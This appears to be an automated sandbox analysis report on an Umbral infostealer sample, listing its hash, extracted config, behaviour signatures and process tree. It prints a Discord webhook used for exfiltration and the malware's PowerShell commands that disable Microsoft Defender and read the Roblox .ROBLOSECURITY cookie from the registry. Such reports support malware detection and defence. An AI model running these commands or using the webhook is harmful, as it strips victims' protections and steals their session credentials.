Analysis
- user interaction
yes - max time kernel
8s - max time network
11s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
05/09/2026, 06:02
General
- Target clone.exe
- Size 230KB
- Sample260905-grj95sfm21
- SHA256 f9a3fe2b0c13af4f85793a51ea0bc4ed5d8342a77b546669901a014cfb0ffe57
Malware Config
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1544989146614079608/bvjXdGLVlrdmmx_Ofa-ZHRYQzEN1Fit8buN0ZUWKqwnZqvnR-5ow0cLCWVCuv2QvI3fj
Signatures
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Detects Umbral payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\clone.exe"C:\Users\Admin\AppData\Local\Temp\clone.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\clone.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_0ahrmjcw.anu.ps1
memory/1564-24-0x000001A9FFE60000-0x000001A9FFED6000-memory.dmp
memory/1564-0-0x000001A9FD6E0000-0x000001A9FD720000-memory.dmp
memory/1564-25-0x000001A9FFCF0000-0x000001A9FFD40000-memory.dmp
memory/1564-26-0x000001A9FDBC0000-0x000001A9FDBDE000-memory.dmp
memory/1564-1-0x000001A9FFD50000-0x000001A9FFD60000-memory.dmp
memory/1564-55-0x000001A9FDB90000-0x000001A9FDB9A000-memory.dmp
memory/1564-56-0x000001A9FFCC0000-0x000001A9FFCD2000-memory.dmp
memory/1564-59-0x000001A9FFD50000-0x000001A9FFD60000-memory.dmp
memory/2332-4-0x000002444FB80000-0x000002444FBA2000-memory.dmp
memory/2332-2-0x0000024468120000-0x0000024468130000-memory.dmp
memory/2332-3-0x0000024468120000-0x0000024468130000-memory.dmp
memory/2924-53-0x000001CE73F90000-0x000001CE741AC000-memory.dmp